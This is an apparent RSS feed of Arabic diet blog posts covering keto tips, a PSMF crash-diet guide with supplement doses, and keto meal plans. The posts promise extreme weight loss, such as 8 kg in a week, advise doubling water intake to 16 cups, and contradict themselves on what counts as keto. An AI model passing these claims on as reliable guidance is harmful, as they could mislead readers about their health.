الكثير يعتقدون أن البروتين من العناصر الغذائية المفيدة، لا شك أنه في الواقع كذلك، ولكن إلى أي حد، فاستهلاك البروتين الموجود في اللحوم، والدواجن، والبيض رائع، خصوصًا أن البروتين يساعد الجسم على الشعور بالشبع، ولكن إلى أي حد، في الواقع الحد الخاص بالبروتين عندما يتعلق الأمر بالنظام الكيتوني يجب ألا تتعدى النسبة فيه عن 30% من إجمالي الطعام الذي يتم تناوله على مدار اليوم، وهذا لأن البروتين الزائد عن حد الجسم يتحول إلى جلوكوز، وبهذا سيستعمله الجسم كمصدر رئيسي للطاقة بدلًا من الكيتونات الناتجة عن حرق الدهون، وبذلك نكون لا علاقة لنا بالرجيم الكيتوني، وإنما نعتمد على رجيم قليل الكربوهيدرات لا أكثر، ولا أقل، وهذا لأن الرجيم الكيتوني النسبة المسموحة بالكربوهيدرات فيه لا تتعدى الـ 10% والتي يمكن أن يحصل عليها الشخص من الخضار الذي يتم تناوله.
الشماعة التي ظل الناس يرمون عليهم مشكلة وزنهم الزائد لسنوات طويلة هي الدهون التي يتناولونها، ولكن أثبت الرجيم الكيتوني أن هذا الأمر عاري تمامًا من الصحة، فالدهون إن كانت صحية، وغير مشبعة يمكن أن تساعد الجسم على زيادة معدل حرق الدهون الخاصة به، كما أن الدهون في حد ذاتها تساعد الشخص على الشعور بالشبع، والامتلاء لفترات طويلة من الوقت، لذا فإن تناول الدهون المفيدة يعد سلاح ذو حدين.
شرب الكثير من الماء
عندما تطبق نظام الكيتو دايت أو حتى أي نظام يعتمد على نسبة قليلة من الكربوهيدرات، فأنت بذلك تستهلك الجليكوجين الموجود في الجسم، والجليكوجين ترتبط به جزيئات الماء، لذا، فأنت مع فقدانك للجليكوجين تفقد الماء، مما يعرض جسمك للجفاف، وبالتأكيد هذا ليس بالشيء الصحي على الجسم، ولكي تتفادي ذلك نحن لا ننصحك بشرب 8 أكواب من الماء، والتي هي النسبة الطبيعية التي على الجسم استهلاكها من الماء يوميًا، ولكن ننصحك بزيادة هذا المقدار إلى الضعف، بحيث تستهلك 16 كوب من الماء يوميًا، وهذا حتى تتمكن من تعويض نقص الماء الذي يفقده الجسم.
استهلك المعادن الهامة للجسم
كما شرحنا في السابق أن الجسم يفقد مقدار كبير من الماء الذي كان يعتمد عليه في السابق لترطيب جسمه مع بدء اتباع الرجيم الكيتوني، ومع هذا الماء، فهو يفقد أيضًا العديد من العناصر الهامة للجسم منها، البوتاسيوم، والمغنيسيوم، والصوديوم، ومع فقدان هذه المعادن يشعر الإنسان بالغثيان، وهذه الحالة تسمى بإنفلونزا الكيتو، ولكنها حالة غير مخيفة على الإطلاق، كونها تعتبر أمر مؤقت ستختفي بمجرد أن يبدأ الجسم يعتاد على الرجيم الكيتوني ويتكيف معه، ولكي تتمكن من تعويض هذا النقص في المعادن يجب عليك استهلاك قدر أعلى من الموالح مثل مرق الدجاج، أو الخضار المخلل، أو حتى اللجوء إلى تعويض الجسم لهذه المعادن عن طريق الأقراص الدوائية، ولكن يجب في البداية استشارة الطبيب الخاص بك في هذا الأمر.
أغلبية الأنظمة الرجيمية المتنوعة تنصحك بتناول الطعام على مدار اليوم، بحيث تقسم وجباتك ما بين 4 إلى 6 وجبات صغيرة يوميًا، وهذا حتى تساعد الجسم على رفع معدل الحرق الخاص به، وحتى لا تشعر بالجوع بعد حصر وجباتك في وجبتين، أو ثلاثة، ولكن مع رجيم الكيتو أنت لست بحاجة لذلك، لأنه ببساطة يمكنك أن تكتفي بوجبتين، أو حتى وجبة واحدة على مدار اليوم، ولن تشعر بالجوع، وستحافظ على معدل حرق دهون مرتفع، وهذا لأن تحجيم نسبة الكربوهيدرات التي تدخل الجسم، والتي يعتمد عليها نظام الكيتو تعمل على رفع معدل حرق الدهون من خلال الاعتماد على حرق الدهون كمصدر للطاقة، كما أنه كلما قل معدل استهلاك الكربوهيدرات يساعد هذا على التثبيط من معدل الجوع، فنادرًا ما يشعر الإنسان حينها بالجوع، ناهيك عن أن نسبة الدهون المرتفعة التي يتم تناولها عند إتباع نظام الكيتو تساهم في جعل الجسم يشعر بالشبع، والامتلاء لفترات طويلة من الوقت.
مارس الرياضة
بالرغم من أن ممارسة الرياضة ليست عنصرًا هامًا، وأساسي عندما يتعلق الأمر بإتباع رجيم الكيتو، ولكنها على الجانب الآخر، لها دور هام، وفعال في جعل الجسم أفضل ليس على مستوى الجسد فقط، بحيث تساهم في نزول الوزن بشكل سريع، والوصول إلى الوزن المثالي الذي يبحث عنه مطبق رجيم الكيتو، ولكنها أيضًا لها العديد من الفوائد الرائعة على مستوى الصحة النفسية، فهي مميزة، وتجعل الجسم يشعر بتحسن، وأنه في حالة أفضل.
]]>احدث نظام دايت سريع لنسف الدهون بعد رمضان نظام PSMF
https://jouzal.com/%d8%a7%d8%ad%d8%af%d8%ab-%d9%86%d8%b8%d8%a7%d9%85-%d8%af%d8%a7%d9%8a%d8%aa-%d8%b3%d8%b1%d9%8a%d8%b9-%d9%84%d9%86%d8%b3%d9%81-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d8%a8%d8%b9%d8%af-%d8%b1%d9%85%d8%b6%/
Fri, 15 May 2020 04:45:06 +0000https://jouzal.com/?p=4283
دايت نظام PSMF يعتبر من أسرع الأنظمة الغذائية لحرق الدهون حيث اشتهر هذا النظام فى الاونة الاخيرة بشكل كبير جداً بين منصات التواصل الاجتماعى ، كما أن هناك العديد من الأسئلة تخص نظام PSMF ، فهو الأن يعد من أشهر الأنظمة الغذائية بعد الكيتو دايت لذا يقدم لكم موقع جوزال هذا المقال الشامل للاجابة من خلاله على كافة التساؤلات التى تدور في ذهنك حول دايت PSMF ، ولكن هناك بعد الأساسيات في علوم التغذية التى يجب أن تكون علي علم بها مثل طاقة الغذاء ، والطاقة اللازمة للجسم وما يؤثر عليها ، دائما يجب ان تفهم الأنظمة الغذائية المختلفة وكذلك أساسيات التغذية ، فهل يمكن أن نبني كيان بدون أساس ، لا أعتقد.
1 ) ماهو نظام الـ PSMF .
2 ) كيفية حساب البروتين و الكربوهيدرات و الدهون داخل دايت الـ PSMF .
3 ) آلية عمل رجيم الـ PSMF .
4 ) المقدار المتوقع للنزول في الوزن .
5 ) من يحتاج هذا النظام الغذائي .
6 ) الغير مسموح لهم بتطبيق الـ PSMF .
7 ) الكيتوسيس .
8 ) المكملات اللازمة خلال دايت الـ PSMF .
9 ) الإكترولايتس .
10 ) الريفيد .
11 ) التدريب خلال نظام الـ PSMF .
12 ) الآثار الجانبية للـ PSMF .
13 ) عيوب هذا النظام الغذائي .
15 ) الأكلات المسموح بها و الغير مسموح بها داخل نظام الـ PSMF .
16 ) ملاحظات هامة حول هذا النظام الغذائي .
[highlight color=”yellow”]ماهو نظام الـ PSMF ؟[/highlight]
الـ PSMF هى إختصار لـ Protein Sparing Modified Fasting ، هو أحد أشكال الـ Crash Diets حيث له القدره علي إنزالك أكثر من 15 كيلو خلال شهرين فقط ، الـ PSMF يعتبر صيام تم تعديله بالبروتين حتي يمنع الهدم العضلي أو بمعنى آخر هو نظام بيعتمد علي البروتين في المقام الأول ونسبة قليلة جداً من الدهون و الكربوهيدرات ، و يعتبر من أقسى و أصعب أنواع الأنظمة الغذائية المتعارف عليها في عالم التغذية ، حيث له توزيعة خاصة من الماكروز و الميكروز والتى يتم تعويض بعضها بمكملات غذائية ، ولا يصلح أبداً كإسلوب حياة حيث إنه يفتقر للعديد من المغذيات الهامة ، هو مجرد نظام غذائي مؤقت لخسارة بعض الكيلوجرامات من الوزن بشكل سريع ، يتراوح عدد السعرات الحرارية مابين 900 : 1400 كالوري .
[highlight color=”yellow”]حساب البروتين و الكربوهيدرات و الدهون داخل الـ PSMF :-[/highlight]
البروتين
تحسب نسبة البروتين بناءاً علي Lean Body Mass – LBM ( وهو وزن مكونات الجسم الخالية من الدهن مثل وزن العظام و العضلات و الأعضاء الداخلية ) حيث يشار إليه في تقرير الـ Inbody برمز (LBM) أو (FFM) ، نسبة البروتين تتراوح بين 2 : 3 جرام لكل كيلو جرام من الـ Lean Body Mass ، حيث أن نسبة البروتين داخل النظام تتأثر بعدة عوامل منها معدل نشاط الفرد ، شدة تدريباته أو نشاطه الرياضي من عدمه ، نسبة العضلات في الجسم .
الكربوهيدرات
يجب الا تتخطى 20 جرام نت كارب، والنت كارب هو حاصل طرح الكربوهيدرات من الألياف مثال : 100 جرام بروكلى يحتوى على 6.6 جرام من الكربوهيدرات و 2.6 جرام من الالياف إذا ال 100 جرام تحتوى على 4 جرام نت كارب.
الدهون
تكون فى حدود 15 جرام من الدهون الصحية من خلال مصادر البروتين المتناول.
[highlight color=”yellow”]آلية عمل نظام الـ PSMF :-[/highlight]
بصرف النظر عن الكيتوسيس التي سأتناولها بالتفصيل خلال السطور القادمة ، هرمون الأنسولين عبارة عن هرمون يفرز من البنكرياس عند وجود سكر في الدم الناتج من النشويات أو البروتين ويعمل علي تخزين الجلوكوز علي هيئة جلايكوجين في العضلات أو إلي دهون و تتخزن في الخلايا الدهنية بالجسم ، ويعمل أيضاً علي نقل الأحماض الأمينية إلي الخلايا و العضلات ، خلال الـ PSMF تحدث عملية تسمي Gluconeogenesis وهي أن تأتي بالطاقة من البروتين بدلاً من الكربوهيدرات . أيضا عندما يقوم جسم الإنسان بحرق البروتين فإنه يحرق سعرات حرارية أعلى من عملية هضم الكربوهيدرات او الدهون ، فإذا أكلت 50 جرام من البروتين أي ما يساوي 200 كالوري ، فان جسم الانسان سوف يحرق بمقدار 30% من السعرات الآتية من البروتين ، أما اذا أكلت نفس المقدار من الكربوهيدرات فانه جسم الانسان سوف يحرق فقط 5% من السعرات الآتية من الكربوهيدرات ، ولهذا السبب يعتمد نظام PSMF على البروتين بشكل اساسي ، و أيضاً عند أكل البروتين فجسم الانسان يقوم بمحافظه على الكتلة العضلية لانه البروتينات الاتيه من الطعام تكفي الجسم وليس بحاجة الى تفكيك العضلات لاستخراج البروتين .
[highlight color=”yellow”]المقدار المتوقع للنزول في الوزن :-[/highlight]
إذا إفترضنا ان شخص إحتياجاته من السعرات 3000 سعر حراري ، وتناول 1000 سعر حراري فقط ، هذا يعني أن مقدار العجز سيكون 14000 كالورى في الأسبوع ، معني هذا إنه سيخسر وزن علي الاقل بمقدار 2 كيلوجرام في الأسبوع ، هذا بخلاف نسبة المياة التى ستنخفض نتيجة لقطع الكربوهيدرات ، هذا معناه إنه سيفقد وزن بمقدار 8 كيلوجرام في الشهر كحد أدنى ، هذه مجرد حسبة مبدأية أو تقديرية لأنها قد تتغير بناءاً علي عدة عوامل .
من يحتاج هذا النظام غذائي :-
كمال الأجسام
– لاعبى كمال الاجسام والرياضيين احيانا يريدون انقاص نسبة الدهون فى اجسامهم مع بناء و زيادة العضلات وحجمها
حالات مرضية
قد يستخدم بعض المرضى هذا النظام تحت إشراف الطبيب مثل مرضى السكر، والضغط، وهشاشة العظام، وامراض الكبد الدهنية.
بعض الرياضيين
– الرياضيين الملتزمين بوزن معين فى رياضتهم ويريدون خسارة وزن فى وقت اقل للوصول الى ميزانهم المطلوب.
دفعة معنوية
– شخص وزنه زائد جدا ويريد انقاص وزنه، فهذا النظام سيكون مناسب جدا حيث يمكنه خسارة عدد كبير من الكيلو جرامات فى وقت اقصر، مما يعطيه دفعة معنوية لمواصلة رحلة انقاص الوزن.
قبل عملية
– شخص سمين جدا مطالب بانقاص نسبة الدهون فى جسمه بامر من الاطباء لاجراء عملية ما.
مناسبة ما
– شخص لديه مناسبة ما ( فرح ، خطوبة ، عيد ميلاد ) ويحتاج إلي خفض وزنه بسرعة.
[highlight color=”yellow”]الغير مسموح لهم بنظام الـ PSMF :-[/highlight]
عليك الإنتباه بأنه غير مسموح لأي شخص مصاب أو تظهر عليه الأعراض التالية بإتباع هذا النظام الغذائي لأنه في تلك الحالة قد يسبب تدهورات صحية بالغة قد تصل إلى الوفاة الحتمية :-
– المصابين بالسرطان .
– النوبة القلبية .
– عدم إنتظام ضربات القلب .
– السكته الدماغية .
– التليف الكبدي .
– فشل القلب الإحتقاني .
– مريض بالكلى في مرحلة متأخرة .
– أثناء الحمل والرضاعة .
الكيتوسيس هي حالة يستخدم الجسم فيها دهونه كمصدر للطاقة ، ولكن ليس بالضرورة أن تصل إلي مرحلة الكيتوسيس فى نظام PSMF حيث يمكن أن نعتبرها عرض جانبي للدايت هذا إذا ظهرت ، فالعجز أو الفجوة التى يصنعها هذا النوع من الأنظمة الغذائية بين السعرات المتناولة و إحتياج الفرد من السعرات ستفي بالغرض ، حيث يتأثر الكيتوسيس بعدة عوامل منها :
نسبة البروتين
– إذا زادت نسبة البروتين ، فالبروتين الزائد يتحول إلى جلوكوز وبالتالى جسمك لن يدخل في حالة الكيتوسيس.
– اذا وجد فى نظامك الغذائى كربوهيدرات مخباة مثل البروتين الباودر، او الكاكاو او بعض انواع الخضروات.
هناك إعتقاد خاطئ بأن الكيتوسيس ضرورياً داخل نظام الـ PSMF ، وأتذكر عندما قلت بأنه غير ضرورياً أن تدخل الكيتوسيس داخل هذا النظام على أحد جروبات الفيس بوك تعرض للهجوم من بعض المدربين والطريف فى الأمر الآن بأن الذين هاجمونى آنذاك قد غيروا رأيهم الآن وتأكدوا بأننى كنت على حق عندما هاجمونى.
[highlight color=”yellow”]المكملات الغذائية اللازمة أثناء الـ PSMF :-[/highlight]
تعتبر المكملات عنصراً أساساً في هذا النظام الغذائي نظراً لانه يفتقر إلي العديد من المغذيات الضرورية التى نعمل علي تعويض النقص فيها بالمكملات الغذائية لتجنب حدث أي تدهور أو مشاكل صحية .
زيت السمك
– مهم جداً نتيجة لنقص الأحماض الدهنية الأساسية خلال دايت الـ PSMF
البروتين الباودر
– ليس ضروريا ولكن يمكنك الاعتماد عليه لتعويض احتياجاتك من البروتين كبديل لوجبه كما يفضل ان يكون ايزوليت.
المالتى فيتامين
– نتيجة لمنع تناول الفواكه فى هذا النظام واستبدالها بانواع اخرى من الخضروات فيؤدى ذلك لنقص كبير فى الفيتامينات لذلك من الضرورى تناول مالتى فيتامين خلال هذا النظام.
الأكترولايتس
– سوف يتم تناوله بالتفصيل بالفقرة القادمة.
الكالسيوم
– نتيجة لنقص العناصر الغذاىية فى هذا النظام فانه يؤدى لنقص فى الكالسيوم لذلك يجب تناول مكمل غذئى كالسيوم او من خلال المالتى فيتامين.
الزنك
– يحدث أيضا نقص في الزنك خلال هذا النظام فيؤثر علي القدرة الجنسية و حالة السائل المنوي لذلك يجب أن تحصل علي الزنك من مكمل زنك أو من خلال مالتى فيتامين يحتوى على نسبة زنك مناسبة .
فيتامين B12
– من المهم جدا الحصول على فيتامين B12 بسبب تعرضك لسوء التغذية فى هذا النظام.
فيتامين C
– من الفيتامينات المهمه التى يجب تناولها خلال هذا النظام.
فيتامين D3
– هام جدا جدا لان نقص فيتامين D يؤدى الى العديد من المشكلات الصحية والنفسية فمن الضرورى تناوله ضمن المكملات الغذائية.
الكرياتين
– قد تحتاج لمكمل الكرياتين لرفع مستوى الفسفوكرياتين لتحسين ادائك خلال التمرين لانك بالطبع ستكون مرهق لنقص الكربوهيدرات.
الكافيين
– يمكنك ايضا تناول الكافيين لتحسين اداءك ورفع مستوى تركيزك خلال التمرين كما انه يساعد فى عملية انقاص الوزن وحرق الدهون.
الأكترولايتس أو إلكتروليات أحد أعمدة لهذا النظام الغذائي و أهما ثلاثة عناصر ( البوتاسيوم – الصوديوم – الماغنيسيوم ) ، تقليل الكربوهيدرات إلي هذا الحد ينتج عنه نقص حاد في الإلكتروليات مما يؤدى إلي حدوث الكثير من المشاكل أبرزها التشنجات العضلية التى ستكون مصاحبه لك لو أعملت هذه العناصر .
جرعة البوتاسيوم
3600 – 4200 مج في اليوم مصادره البروكلي – الخس – السبانخ أو من خلال مكمل بوتاسيوم.
جرعة الصوديوم
2300 – 6000 مللى جرام فى اليوم مصادره الملح وبعض الخضروات.
جرعة الماغنيسيوم
300 مللى جرام فى اليوم مصادره مالتى فيتامين او مكمل ماغنسيوم.
الريفيد هو أن تقوم بعمل تغيير في كمية السعرات المتناولة داخل نظامك الغذائى ، هناك طريقتين لعمل الريفيد داخل الـ PSMF ، الطريقة الأولى هى تطبيق نظام الـ PSMF لمدة 7 أيام ثم تقوم بعمل ريفيد لمدة يومين ، الطريقة الثانية هي عمل ريفيد كل 11 يوم لمدة 3 أيام ، خلال الريفيد إما أن تتناول كربوهيدرات حوالى 5 جرام لكل كيلوجرام من وزنك أو أن تصعد لسعراتك الأساسية ، فلو إفترضنا ان سعراتك الأساسية 3000 كالوري وكنت تسير علي PSMF يحتوي علي 900 كالوري ، في الريفيد تصعد بسعراتك من 900 إلي 3000 سعر حراري ، و الكالوري الزائدة هذه تكون في صورة كربوهيدرات ، كما ينصح أن يكون الريفيد تدريجياً في نسبة الكاربوهيدرات ، فائدة الريفيد هي إعادة ملئ مخازن الجلايكوجين وتنشيط هرمون الليبتين المسئول عن حرق الدهون و كسر روتين النظام الغذائي و كما إنه ينتعش جسمك مرة آخرى ، بعد الريفيد يمكن أن تعود للـ PSMF مرة آخرى او تكتفي وتبدأ نظام غذائي معتدل .
[highlight color=”yellow”]التدريب خلال نظام الـ PSMF :-[/highlight]
بالنسبة للتدريب أو البرنامج التدريبي أمامك 3 إختيارات :-
الأول :
– ان تسير علي جدولك التدريبي ولكن تقوم بخفض الشدة التدريبية إلي الثلث .
الثانى
– ان تسير على جدول Full body workout مرتين فى الأسبوع فقط.
الثالث :
– ان تتجنب التمارين نهائيا.
فالإختيار بين الثلاثة يعتمد علي عدة عوامل يجب أخذها فى الإعتبار حتي لا تعرض نفسك لخسارة العضلات نظراً لأن السعرات الحرارية لهذا النظام تكون منخفضة جداً وبصفة عامة يوصي بخفض الشدة التدريبية خلال فترة الـ PSMF . بالنسبة للكارديو أو التمارين الهوائية مثل الركض يفضل أن تتجنبها في هذا النظام ولكن يسمح بتمارين الكارديو في حالات معينة وتحت ظروف خاصة.
[highlight color=”yellow”] الآثار الجانبية لنظام الـ PSMF :-[/highlight]
مبدأياً هذا النظام غير صحي وصعب جداً ، فقد يحدث آثاراً جانبية جسدية و نفسية مثل الصداع و الإعياء و إنخفاض النشاط ، و إنخفاض ضغط الدم و الإكتئاب و حدوث بعض التشنجات العضلية ، ويجب الأخذ في الإعتبار أن هذه الأعراض قد تظهر كلها أو بعضها وقد لا تظهر نهائياً .
[highlight color=”yellow”]عيوب نظام دايت الـ PSMF :-[/highlight]
– إرتداد الوزن المفقود بسرعة ، لأنه يضع الجسم في حالة غريبة غير طيبيعية و يجعله يفقد دهون اكثر مما يجب.
– الاكل محدود للغاية حيث ستكتفي بمصادر البروتين قليلة الدهون و منعدمة الكارب .
– لا يمكنك زيادة الكتلة العضلية و لا زيادة القوة خلا دايت ال Psmf.
[highlight color=”yellow”]الأطعمة المسموح بها و الغير مسموح بها داخل دايت الـ PSMF :-[/highlight]
الارز، الخبز، الشوفان، البطاطا، البطاطس، الذرة، الحلويات، البقوليات، الفاكهة، اللحوم المصنعة مثل البرجروالسجق وغيرها.
[highlight color=”red”]ملاحظات هامة :-[/highlight]
– يفضل إستهلاك ما بين 3:5 جرام من ملح الطعام يومياً موزعاً على الوجبات مع شرب كميات كبيرة من الماء .
– مسموح ضمن الدايت تناول المشروبات التي لا تحتوي سكريات مثل القهوة أو الشاي الأخضر المحلى بالاسبارتام أو الكولا دايت.
– يمكن إستخدام ملح الصوديوم أو ملح البوتاسيوم علي الوجبات مذاقه مثل الملح و لكن أقل ملوحة.
– الأشخاص الذين نسبة دهونهم أقل من 15% لا ينصح يتطبيق هذا النظام لأكثر من 12 يوم .
[highlight color=”red”]تنويه هام :-[/highlight]
هذا النظام يحتاج إلي إشراف وعناية حيث قد يؤدى إلي متاعب صحية أولها فقدان للكتلة العضلية و آخرها الوفاة . و فعلاً قد سجلت حالات وفاة لهذا النظام نتيجة إستخدامه بشكل خاطئ .
]]>الكيتو دايت بالتفصيل الممل لنسف دهون 30 كيلو | مميزات | أضرار | وجبات رجيم الكيتو
https://jouzal.com/%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d9%84%d9%85%d9%85%d9%84-%d9%84%d9%86%d8%b3%d9%81-%d8%af%d9%87%d9%88%d9%86-30/
Thu, 21 Nov 2019 17:21:58 +0000https://jouzal.com/?p=3787يعتبر رجيم الكيتو او الكيتو دايت من أشهر انظمة الرجيم العالمية، والتي يطبقها ملايين الاشخاص حول العالم، لخسارة الوزن بطريقة صحية وسريعة، ومما يميز كيتو دايت انه يساعد علي الوصول للوزن المثالي في فترة قياسية.
ويستعرض عليكم “جوزال” نظام الكيتو دايت بالتفصيل الممل، حتي يتم اتباعه بطريقة صحيحة والحصول علي افضل النتائج المبهرة.
محتوي المقال
– تعريف نظام الكيتو وتأثيره علي الجسم.
– رجيم الكيتو وخسارة 30 كيلو في شهرين.
– فوائد حمية الكيتو الرهيبة للجسم.
– اضرار الرجيم الكيتوني.
– الاكلات والمشروبات المسموحة والممنوعة في نظام الكيتو.
الكيتو دايت بالتفصيل لخسارة الوزن
اولاً نظام الكيتو
رجيم الكيتو هو اتباع نظام غذائي منخفض الكربوهيدرات ومرتفع الدهون؛ حيث تقوم بتقليل تناولك من الأطعمة التي تحتوي على نسبة كبيرة من الكربوهيدرات وتغييرها بالدهون
وبكده الجسم بيبقي أكثر فاعلية بشكل لا يصدق في عملية تكسير جزيئات الدهون وتحويلها إلى كيتونات لتوفير الطاقة وبالتالي فقدان الوزن بشكل سريع، كمان يمنع تراكم الدهون إلى الكيتونات في الكبد وبالتالي بيزود من إمدادات الطاقة إلى الدماغ.
يجب استشارة الطبيب فى الحالات التالية عند البدء فى الكيتو دايت:
• المصابين بمرض السكري بصفة عامة والملتزمين بنسب محددة من الانسولين بصفة خاصة.
• مرضى ارتفاع ضغط الدم.
• الرضاعة الطبيعية.
اليوم الاول
الإفطار: اومليت مع الخضروات
الغداء: كرات اللحم المفروم مع الخضروات
العشاء: زبادي وحفنة من المكسرات.
اليوم الثاني
الإفطار:
زبادي-خالي الدسم دون أن تحليه بالسكر- مع ملعقة كبيرة من زبدة اللوز.
وجبة غداء
: صدر دجاج بالملح والفلفل مع بطاطس مهروسة مصنوعة من الكريمة والزبدة والزيت.
وجبة خفيفة:
الأفوكادو وشرائح الطماطم المملحة.
العشاء:
صلصة النقانق الإيطالية الحارة وبروكلي مطبوخ في زيت الزيتون، مع جبنة شيدر لايت.
اليوم الثالث
الإفطار: لحم مقدد مع البيض.
الغداء: دجاج مشوي وسبانخ.
العشاء: عصير طبيعي، زبادي، وتوت.
اليوم الرابع
لإفطار: بيض مقلي بالسمن الطبيعي مع الخضروات.
الغداء: برجر مع الخضروات.
العشاء: زبادي كامل الدسم بالإضافة للفواكه والمكسرات.
اليوم الخامس
وجبة الإفطار:
بيضتان مطهيتان بالبسطرمة- و كوبان من السبانخ الممزوجة بالبصل والثوم وزيت الزيتون ونص من الفلفل الأخضر.
الغذاء:
صدر دجاج مشوي مع بصل، وحبايتين طماطم ، وثلاثة أكواب من الخضار المشكل الممزوج والمطبوخ بزيت الزيتون.
وجبة خفيفة:
5 حبات لوز او بندق
العشاء:
تناول 140 جراماً من سمك السلمون مع كوب من البروكلي المطبوخ في زيت الزيتون، و يمكن إضافة زبده خالية الدسم.
– اليوم السادس نكرر اي يوم من الايام السابقة، واليوم السابع فري ولكن بكميات محدودة، ويتم تطبيق هذا الرجيم لحين الوصول للوزن المثالي، رجيم الكيتو يساعد علي حرق دهون 10 – 15 كيلو في شهر تقريباً.
فوائد نظام الكيتو الرهيبة لجسمك وصحتك
خسارة الوزن الزائد
من اهم وأول فوائد رجيم الكيتو هو خسارة الوزن الزائد، رجيم الكيتو بيعمل بشكل عام علي استخدام الدهون لانتاج الطاقة والتي تساعد الجسم علي خسارة الوزن بشكل سهل مع حرق الدهون الزايدة داخل الجسم.
الفائدة الثانية
الكيتو مبيساعدش بس علي خسارة الوزن الزائد وتنحيف الجسم، كمان بيعمل علي تنظيم مستويات السكر في الدم، عشان كده مفيد جدا لمرضي السكر شافاكم الله وعافاكم، كمان بيقلل من مخاطر الاصابة بمرض السكر من الدرجة التانيه.
الفائدة الثالثة للكيتو دايت
نظام الكيتو في الأساس اتصمم للناس اللي بتحس بالجوع بشكل مفرط خلال اليوم، عشان كده هو بيعمل علي انتاج المزيد من الطاقة وبالتالي الطاقة دي بتكافح الشعور بالجوع وبتنشط الجسم، كمان بيعمل علي ملء المعدة لفترات طويلة.
الفائدة الرابعة
التحكم في مستويات الكوليسترول وضغط الدم، بعيد عن فوايد الكيتو الصحية كمان نظام الكيتو بيتحكم في ارتفاع ضغط الدم والكوليسترول في الجسم، ودا بيساعد الاشخاص المريضة بالضغط في الحصول علي حياة صحية.
اضرار رجيم الكيتو
– الشعور بالارهاق بس دا بيحصل فقط في الفترة الاولي من اتباعك لرجيم الكيتو، لأن الجسم بيحاول يتاقلم مع مصدر الطاقة البديل عشان بيعتمد علي الدهون بدل الكربوهيدرات، ننصحكم بشرب 8 اكواب ميه خلال اليوم عشان منحسش بالارهاق او التعب.
– زيادة طفيفة لدهون في الدم نتيجة لزيادة نسبة الدهون علي البروتينات والكربوهيدرات، عشان كده انصحكم بممارسة الرياضة لتقليل نسبة الدهون في الدم وكمان لازم نحقق توازن بين الاكلات المسموحة في الرجيم.
الاكلات والمشروبات المسموحة والممنوعة في رجيم الكيتو
• ممكن تاكل اللحوم الحمرا والاسماك والفراخ البيضا والبيض.
• اكل الخضروات الورقية زي السبانخ والملفوف والبروكلي والقرنبيط.
• تناول كل انواع الجبن.
اما المشروبات بشكل عام ممكن نشرب ميه كتير خلال اليوم لانها افضل مشروب لنظام الكيتو، الشاي والقهوة مسموح بيهم.
الاكلات والمشروبات الممنوعة
– العسل والبرتقان والموز والبطاطس والبطاطا والرز والدرة والقمح.
– ممنوع تناول السكريات والمشروبات المتحلية بالسكر باي حال من الاحوال.
]]>رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان
https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-8-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a3%d8%b3/
Tue, 27 Aug 2019 08:25:52 +0000https://jouzal.com/?p=3019[highlight color=”green”]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight]
يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض التعليمات :
يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات.
فعندما يكون مصدر الطاقة الرئيسي هو الدهون و عند بذل اي نشاط او مجهود يستخدم الجسم مخزون الطاقة من الدهون فبتالي يتم حرقها.
يتم الاستغناء عن الفواكه بشكل عام عدا الفراولة والافوكادو.
يعتمد طهي الطعام على استخدام السمن الحيواني مثل السمن البلدي والزبدة والابتعاد تماما عن الدهون النباتية ومنها السمن النباتي حيث يعتبر الدهن الحيواني مصدر أساسي.
وهو يعتمد على البيض والبروتينات مثل السمك واللحم والدجاج والخضروات الورقية.
وصفات الكيتو
وفيها يفضل الاشخاص التنوع في تناول الطعام حيث يتناولون أكلات أخرى إلى جانب اكلات الكيتو الكلاسيكي مثل المحشي بانواعه ولكن باستخدام اللحم المفروم بدلا من الارز
[highlight color=”pink”]محتوى ذات صلة [/highlight]
